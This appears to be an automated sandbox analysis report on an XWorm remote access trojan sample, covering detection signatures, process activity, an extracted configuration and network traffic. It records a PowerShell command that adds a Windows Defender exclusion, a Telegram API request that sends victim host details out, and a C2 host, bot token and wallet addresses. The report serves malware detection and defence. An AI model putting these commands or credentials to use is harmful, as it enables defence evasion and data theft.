Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Analysis ID:	1518076
MD5:	a4cd1ff60c7b69df5a061df3365e60c7
SHA1:	e85cd869046c923938c1268c5eed9d30f0f94668
SHA256:	657b68666c2b79d65d51a403dd7fa0e35b1109156290efd69a681777eb6e4107
Tags:	AsyncRATexe
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Telegram RAT

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Contains functionality to log keystrokes (.Net Source)

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe (PID: 6568 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe" MD5: A4CD1FF60C7B69DF5A061DF3365E60C7)

powershell.exe (PID: 1472 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 6468 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe (PID: 5776 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe" MD5: A4CD1FF60C7B69DF5A061DF3365E60C7)

SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe (PID: 6552 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe" MD5: A4CD1FF60C7B69DF5A061DF3365E60C7)

WerFault.exe (PID: 4408 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6552 -s 1128 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["various-wages.gl.at.ply.gg"], "Port": "55202", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.4", "Telegram URL": "https://api.telegram.org/bot7503421576:AAFe-HqEJI6A9e-kdWp8RSPiI27fCE4Lw2Q/sendMessage?chat_id=985088883"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_XWorm_1	Yara detected XWorm	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.3595610221.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000005.00000002.3595610221.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x88a6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8943:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8a58:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8438:$cnc4: POST / HTTP/1.1
00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x13552:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1d832:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e9b2:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x135ef:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1d8cf:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7ea4f:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x13704:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1d9e4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7eb64:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x130e4:$cnc4: POST / HTTP/1.1 0x1d3c4:$cnc4: POST / HTTP/1.1 0x7e544:$cnc4: POST / HTTP/1.1
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6568	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6568	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6568	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6552	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6552	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8aa6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8b43:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8c58:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8638:$cnc4: POST / HTTP/1.1
0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6ca6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6d43:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6e58:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6838:$cnc4: POST / HTTP/1.1
0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6ca6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6d43:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6e58:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6838:$cnc4: POST / HTTP/1.1
0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8aa6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x69c26:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8b43:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x69cc3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8c58:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x69dd8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8638:$cnc4: POST / HTTP/1.1 0x697b8:$cnc4: POST / HTTP/1.1
0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8aa6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12d86:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x73f06:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8b43:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12e23:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x73fa3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8c58:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12f38:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x740b8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8638:$cnc4: POST / HTTP/1.1 0x12918:$cnc4: POST / HTTP/1.1 0x73a98:$cnc4: POST / HTTP/1.1
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, ParentProcessId: 6568, ParentProcessName: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe", ProcessId: 1472, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, ParentProcessId: 6568, ParentProcessName: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe", ProcessId: 1472, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Win32/XWorm Checkin via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T11:31:08.995831+0200	2853685	1	A Network Trojan was detected	192.168.2.5	49708	149.154.167.220	443	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T11:32:23.446645+0200	2855924	1	Malware Command and Control Activity Detected	192.168.2.5	49734	147.185.221.22	55202	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["various-wages.gl.at.ply.gg"], "Port": "55202", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.4", "Telegram URL": "https://api.telegram.org/bot7503421576:AAFe-HqEJI6A9e-kdWp8RSPiI27fCE4Lw2Q/sendMessage?chat_id=985088883"}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	String decryptor: various-wages.gl.at.ply.gg
Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	String decryptor: 55202
Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	String decryptor: <123456789>
Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	String decryptor: <Xwormmm>
Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	String decryptor: XWorm V5.4
Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	String decryptor: USB.exe
Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	String decryptor: bc1q4ul0exh4vcd9z9fchkyc5rud8dtwsgkugpg2hu
Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	String decryptor: 0xBAD33b9Ee3C66782641D7662A66557A167543AB8
Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	String decryptor: TQHfQNjDo2mPrBMghaWA6fZLJ6zHLwXKn5
Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	String decryptor: 7503421576:AAFe-HqEJI6A9e-kdWp8RSPiI27fCE4Lw2Q
Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack	String decryptor: 985088883

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49708 version: TLS 1.2

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbs source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601179462.000000000683A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: fSgG.pdbSHA256 source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Source:	Binary string: Accessibility.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.ni.pdbRSDS source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: n.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb$ source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Configuration.ni.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Configuration.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Xml.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Core.ni.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\fSgG.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3600830735.00000000067A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: %%.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3600830735.0000000006797000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp, WER7A57.tmp.dmp.13.dr
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb] source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3600830735.00000000067A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601179462.000000000683A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Desktop\fSgG.pdbe source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601179462.000000000683A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Windows.Forms.pdb\|c source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.PDB source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3595773433.0000000000F36000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbSK source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3600830735.00000000067A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Drawing.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: mscorlib.ni.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Management.ni.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: nC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: fSgG.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Source:	Binary string: symbols\dll\mscorlib.pdbLb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.ni.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER7A57.tmp.dmp.13.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.5:49734 -> 147.185.221.22:55202
Source: Network traffic	Suricata IDS: 2853685 - Severity 1 - ETPRO MALWARE Win32/XWorm Checkin via Telegram : 192.168.2.5:49708 -> 149.154.167.220:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: various-wages.gl.at.ply.gg

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.5:49710 -> 147.185.221.22:55202

Source: global traffic

HTTP traffic detected: GET /bot7503421576:AAFe-HqEJI6A9e-kdWp8RSPiI27fCE4Lw2Q/sendMessage?chat_id=985088883&text=%E2%98%A0%20%5BXWorm%20V5.4%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AA0FB38C6050D4C23DA87%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20BSY776%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.4 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 147.185.221.22 147.185.221.22

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: SALSGIVERUS SALSGIVERUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: various-wages.gl.at.ply.gg

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3597124997.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
